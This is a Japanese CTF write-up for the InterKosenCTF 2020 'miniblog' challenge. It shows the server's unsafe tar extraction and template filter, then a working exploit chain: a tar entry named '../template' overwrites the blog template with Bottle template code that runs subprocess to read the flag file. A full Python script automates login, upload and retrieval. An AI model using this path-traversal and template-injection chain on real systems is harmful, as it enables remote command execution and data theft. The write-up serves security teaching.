# miniblog [InterKosenCTF 2020]
###### tags: `InterKosenCTF2020`
## 概要
ブログが作れるシステム。
ブログのテンプレートにtemplate文字列が使えるが、次のチェックがあるので単にSSTIはできない。
```python
for brace in re.findall(r"{{.*?}}", content):
if not re.match(r"{{!?[a-zA-Z0-9_]+}}", brace):
return abort(400, "forbidden")
```
また、ファイルのアップロードフォームがあり、tarファイルを送れる。
```python
tarpath = 'tmp/{}'.format(uuid4().hex)
attachments_dir = "userdir/{userid}/attachments/".format(userid=users[username]["id"])
attachment.save(tarpath)
try:
tarfile.open(tarpath).extractall(path=attachments_dir)
except (ValueError, RuntimeError):
pass
```
## 解法
ファイルがattachmentsに展開されるが、ここでファイル名を`../template`にしておけばテンプレートを制約なく書き換えられる。
bottleを使っているのでテンプレートがflaskと違うことに注意して、次のように任意コマンド実行できる。
```python
<%
import subprocess
a = subprocess.Popen(["/bin/cat", "/unpredicable_name_flag"], stdout=subprocess.PIPE).stdout.read()
%>
{{a}}
```
あとはこれを`../template`という名前でアップロードする。
```python
import requests
import re
import tarfile
url = "http://localhost:14000"
payload = {'username': 'hoge', 'password': 'hoge'}
r = requests.post(f"{url}/login", data=payload, allow_redirects=False)
cookies = r.cookies
r = requests.get(f"{url}/", cookies=cookies)
uid = re.findall("/posts/([a-f0-9]{32})/", r.text)[0]
with tarfile.open('exploit.tar.gz', 'w:gz') as tar:
tar.add('exploit.tmpl', arcname='../template')
with open('exploit.tar.gz', 'rb') as f:
binary = f.read()
upload = {'attachment': ('exploit.tar.gz', binary, 'application/octet-stream')}
r = requests.post(f"{url}/upload", files=upload, cookies=cookies)
r = requests.get(f"{url}/posts/{uid}/00000000000000000000000000000000", cookies=cookies)
print(r.text)
```
## 修正点
- 他人のファイルを削除できるのでuserdirの実行権限を外す
これやると投稿一覧も見えなくなる?postsとかtitlesに実行権限あれば大丈夫?
## 意見・感想
- 良い問題
- tarbombに対応しているとなおヨシ